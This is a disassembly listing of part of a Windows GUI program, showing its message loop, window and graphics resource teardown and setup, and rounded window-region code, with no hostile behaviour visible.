lea rcx, [rsp + 0x760]
call fcn.7ff605162330
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x250], rax
inc rax
mov qword [rbx + 0x30], rax
mov dword [rsp + 0x238], 2
lea r9, [rsp + 0x250]
lea r8, [rsp + 0x238]
lea rdx, [rsp + 0x910]
call fcn.7ff6051cf5c0
nop
lea rcx, [rsp + 0x2e0]
call fcn.7ff605162330
nop
lea rcx, [rsp + 0x300]
call fcn.7ff605162330
nop
mov rcx, qword [rsp + 0x818]
test rcx, rcx
je 0x7ff6051c288c
mov rax, qword [rcx]
lea rdx, [rsp + 0x7e0]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov rbx, qword [rsp + 0xb70]
lea rax, [0x7ff60562f3c0]
mov qword [rsp + 0x550], rax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x558], rax
lea rax, [rsp + 0x550]
mov qword [rsp + 0x588], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x3a0], xmm0
mov qword [rsp + 0x3b0], r12
mov qword [rsp + 0x3b8], r12
mov r8d, 4
lea rdx, [0x7ff605630180]
lea rcx, [rsp + 0x3a0]
call fcn.7ff605163830
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x320], xmm0
mov qword [rsp + 0x330], r12
mov qword [rsp + 0x338], r12
mov r8d, 0xe
lea rdx, [0x7ff605630188]
lea rcx, [rsp + 0x320]
call fcn.7ff605163830
nop
movups xmm1, xmmword [rsp + 0x320]
movups xmmword [rsp + 0x6e0], xmm1
movups xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x6f0], xmm0
mov qword [rsp + 0x330], r12
mov qword [rsp + 0x338], 0xf
mov byte [rsp + 0x320], 0
movups xmm1, xmmword [rsp + 0x3a0]
movups xmmword [rsp + 0x700], xmm1
movups xmm0, xmmword [rsp + 0x3b0]
movups xmmword [rsp + 0x710], xmm0
mov qword [rsp + 0x3b0], r12
mov qword [rsp + 0x3b8], 0xf
mov byte [rsp + 0x3a0], 0
mov qword [rsp + 0x758], r12
mov rcx, qword [rsp + 0x588]
test rcx, rcx
je 0x7ff6051c29d1
mov rax, qword [rcx]
lea rdx, [rsp + 0x720]
call qword [rax]
mov qword [rsp + 0x758], rax
lea r9, [rsp + 0x6e0]
lea r8, [rbx + 0x30]
lea rdx, [rsp + 0x920]
lea rcx, [rbx + 0x38]
call fcn.7ff6051dd6f0
nop
mov rcx, qword [rsp + 0x758]
test rcx, rcx
je 0x7ff6051c2a18
mov rax, qword [rcx]
lea rdx, [rsp + 0x720]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rsp + 0x758], r12
lea rcx, [rsp + 0x700]
call fcn.7ff605162330
lea rcx, [rsp + 0x6e0]
call fcn.7ff605162330
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x230], rax
inc rax
mov qword [rbx + 0x30], rax
mov dword [rsp + 0x228], 3
lea r9, [rsp + 0x230]
lea r8, [rsp + 0x228]
lea rdx, [rsp + 0x930]
call fcn.7ff6051cf5c0
nop
lea rcx, [rsp + 0x320]
call fcn.7ff605162330
nop
lea rcx, [rsp + 0x3a0]
call fcn.7ff605162330
nop
mov rcx, qword [rsp + 0x588]
test rcx, rcx
je 0x7ff6051c2ab3
mov rax, qword [rcx]
lea rdx, [rsp + 0x550]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rsp + 0x588], r12
xor bl, bl
movss xmm7, dword [0x7ff605631b6c]
movss xmm6, dword [0x7ff605631a38]
mov r14, qword [rsp + 0x240]
mov r15, qword [rsp + 0x60]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xc40]
call qword [sym.imp.user32.dll_PeekMessageW]
test eax, eax
je 0x7ff6051c2e62
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0xc40]
call qword [sym.imp.user32.dll_TranslateMessage]
lea rcx, [rsp + 0xc40]
call qword [sym.imp.user32.dll_DispatchMessageW]
movzx ebx, bl
cmp dword [rsp + 0xc48], 0x12
cmove ebx, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xc40]
call qword [sym.imp.user32.dll_PeekMessageW]
test eax, eax
jne 0x7ff6051c2b00
test bl, bl
je 0x7ff6051c2e62
mov rbx, qword [0x7ff605749b08]
test rbx, rbx
je 0x7ff6051c2b86
mov rdi, qword [rbx + 0x98]
jmp 0x7ff6051c2b89
movdqa xmm0, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0xb70], xmm0
psrldq xmm0, 8
movq rdx, xmm0
jmp 0x7ff6051c1f0a
mov rdi, r12
call fcn.7ff60516b270
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x7ff6051c2b9d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rdi]
test rcx, rcx
je 0x7ff6051c2bab
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x7ff6051c2bba
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbx + 0x88], r12
mov qword [rbx + 0x98], r12
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x7ff605749b08]
test r8, r8
je 0x7ff6051c2c3b
mov r9d, dword [r8 + 0x3f70]
movsx rdx, word [r8 + 0x68d8]
lea rcx, [r8 + 0x68dc]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x7ff6051c2c30
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x68d8], cx
movsx rax, cx
lea rcx, [r8 + 0x68dc]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x68d4]
mov rdx, qword [0x7ff605749b00]
mov rcx, rdi
call sub.ucrtbase.dll_free
mov r8, qword [0x7ff605749b08]
test r8, r8
je 0x7ff6051c2c5f
mov rdi, qword [r8 + 0x90]
jmp 0x7ff6051c2c62
mov rdi, r12
lea rbx, [r8 + 8]
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x7ff6051c2c7c
call qword [sym.imp.kernel32.dll_FreeLibrary]
mov r8, qword [0x7ff605749b08]
mov qword [rbx + 0x78], r12
mov qword [rbx + 0x88], r12
and dword [rbx + 4], 0xfffffff8
test r8, r8
je 0x7ff6051c2cf3
mov r9d, dword [r8 + 0x3f70]
movsx rdx, word [r8 + 0x68d8]
lea rcx, [rdx*8 + 0x68dc]
add rcx, r8
cmp dword [rcx], r9d
je 0x7ff6051c2ce8
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x68d8], cx
movsx rax, cx
lea rcx, [rax*8 + 0x68dc]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], 0
inc word [rcx + 6]
inc dword [r8 + 0x68d4]
mov rdx, qword [0x7ff605749b00]
mov rcx, rdi
call sub.ucrtbase.dll_free
mov rbx, qword [0x7ff605749b08]
mov qword [0x7ff605749b08], rbx
call fcn.7ff605171aa0
mov qword [0x7ff605749b08], r12
test rbx, rbx
je 0x7ff6051c2dab
mov rcx, rbx
call fcn.7ff6051889c0
mov r8, qword [0x7ff605749b08]
test r8, r8
je 0x7ff6051c2d9c
mov r9d, dword [r8 + 0x3f70]
movsx rax, word [r8 + 0x68d8]
lea rdx, [r8 + 0x68dc]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r9d
je 0x7ff6051c2d91
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x68d8], cx
movsx rax, cx
lea rdx, [r8 + 0x68dc]
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], 0
inc word [rdx + 6]
inc dword [r8 + 0x68d4]
mov rdx, qword [0x7ff605749b00]
mov rcx, rbx
call sub.ucrtbase.dll_free
call fcn.7ff6051c83c0
mov rcx, r15
call qword [sym.imp.user32.dll_DestroyWindow]
mov rdx, qword [rsp + 0xb18]
mov rcx, qword [rsp + 0xb40]
call qword [sym.imp.user32.dll_UnregisterClassW]
nop
mov rbx, qword [rsp + 0xb78]
test rbx, rbx
je 0x7ff6051c2e09
mov eax, r13d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x7ff6051c2e09
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x7ff6051c2e09
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
lea rcx, [rsp + 0xbd0]
call fcn.7ff6051622c0
nop
mov rcx, qword [rsp + 0xb98]
test rcx, rcx
je 0x7ff6051c2e5b
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x7ff6051c2e5b
mov rbx, qword [rsp + 0xb98]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r13d
cmp r13d, 1
jne 0x7ff6051c2e5b
mov rcx, qword [rsp + 0xb98]
mov rax, qword [rcx]
call qword [rax + 8]
xor eax, eax
jmp 0x7ff6051c0669
mov r8d, dword [0x7ff60574aff8]
test r8d, r8d
je 0x7ff6051c2f1b
mov r9d, dword [0x7ff60574affc]
test r9d, r9d
je 0x7ff6051c2f1b
mov rcx, qword [0x7ff60574b270]
test rcx, rcx
je 0x7ff6051c2ea9
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x7ff60574b270], r12
mov r8d, dword [0x7ff60574aff8]
mov r9d, dword [0x7ff60574affc]
mov rcx, qword [0x7ff60574b278]
mov rax, qword [rcx]
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor edx, edx
call qword [rax + 0x68]
mov dword [0x7ff60574affc], r12d
mov dword [0x7ff60574aff8], r12d
mov rcx, qword [0x7ff60574b278]
mov rax, qword [rcx]
lea r9, [rsp + 0xa70]
lea r8, [0x7ff60562f948]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x7ff60574b280]
mov rax, qword [rcx]
lea r9, [0x7ff60574b270]
xor r8d, r8d
mov rdx, qword [rsp + 0xa70]
call qword [rax + 0x48]
mov rcx, qword [rsp + 0xa70]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r9, qword [0x7ff605749b08]
mov rax, qword [r9 + 0x4b28]
mov rcx, qword [rax]
movss xmm0, dword [rcx + 0x10]
ucomiss xmm0, dword [0x7ff60566c764]
jp 0x7ff6051c2f40
je 0x7ff6051c30f1
movss dword [0x7ff60566c764], xmm0
divss xmm0, xmm7
movss xmm1, dword [0x7ff60566c760]
comiss xmm1, xmm0
jbe 0x7ff6051c2f5e
movaps xmm2, xmm1
jmp 0x7ff6051c2f61
movaps xmm2, xmm0
comiss xmm2, xmm6
jbe 0x7ff6051c2f72
mov dword [0x7ff60566c760], 0x40000000
jmp 0x7ff6051c2f7f
comiss xmm1, xmm0
ja 0x7ff6051c2f7f
movss dword [0x7ff60566c760], xmm0
mov rax, qword [0x7ff605749b20]
test rax, rax
jne 0x7ff6051c3050
mov ecx, 0x460
call fcn.7ff60542adf8
mov qword [rsp + 0x210], rax
mov rcx, rax
call fcn.7ff60516e740
nop
mov qword [0x7ff605749b20], rax
mov rcx, rax
mov r9, qword [0x7ff605749b08]
lea rdx, [r9 + 0x38e8]
mov r8d, 8
nop dword [rax + rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub r8, 1
jne 0x7ff6051c2fd0
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea rdx, [r9 + 0x38e8]
mov ecx, 8
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x7ff6051c3060
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
lea rcx, [r9 + 0x38e8]
call fcn.7ff6051a2b10
call fcn.7ff6051a2c40
mov rcx, r14
call fcn.7ff60519b980
mov rax, qword [0x7ff605749b08]
test rax, rax
je 0x7ff6051c310e
mov rax, qword [rax + 0x98]
jmp 0x7ff6051c3111
mov rax, r12
cmp qword [rax + 0x48], 0
jne 0x7ff6051c311d
call fcn.7ff60516ae70
call fcn.7ff60516bd40
call fcn.7ff605173d00
mov rdx, qword [0x7ff60574b738]
mov rcx, qword [rsp + 0xb70]
call fcn.7ff6051dcc30
lea rcx, [0x7ff60562fc10]
call qword [sym.imp.kernel32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x7ff6051c31b2
lea rdx, [0x7ff60562fc28]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x7ff6051c31a9
movdqa xmm0, xmmword [0x7ff605631ba0]
movdqu xmmword [rsp + 0xc20], xmm0
mov dword [rsp + 0xb50], 0x13
lea rcx, [rsp + 0xc20]
mov qword [rsp + 0xb58], rcx
mov dword [rsp + 0xb60], 0x10
lea rdx, [rsp + 0xb50]
mov rcx, r15
call rax
mov rcx, rsi
call qword [sym.imp.kernel32.dll_FreeLibrary]
cvttss2si r9d, dword [0x7ff60574b16c]
cvttss2si r8d, dword [0x7ff60574b168]
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], 0x14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.gdi32.dll_CreateRoundRectRgn]
mov rdx, rax
mov r8d, edi
mov rcx, r15
call qword [sym.imp.user32.dll_SetWindowRgn]
call fcn.7ff6051b2af0
mov rcx, qword [rsp + 0xb90]
call fcn.7ff6051b0050
call fcn.7ff605175be0
xorps xmm0, xmm0
movups xmmword [rsp + 0xd88], xmm0
mov rcx, qword [0x7ff60574b288]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x7ff60574b270]
mov edx, edi
call qword [rax + 0x108]
mov rcx, qword [0x7ff60574b288]
mov rax, qword [rcx]
lea r8, [rsp + 0xd88]
mov rdx, qword [0x7ff60574b270]
call qword [rax + 0x190]
mov rax, qword [0x7ff605749b08]
mov rax, qword [rax + 0x4b28]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, r12
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.7ff60516a250
mov rcx, qword [0x7ff60574b278]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, edi
call qword [rax + 0x40]
jmp 0x7ff6051c2ad2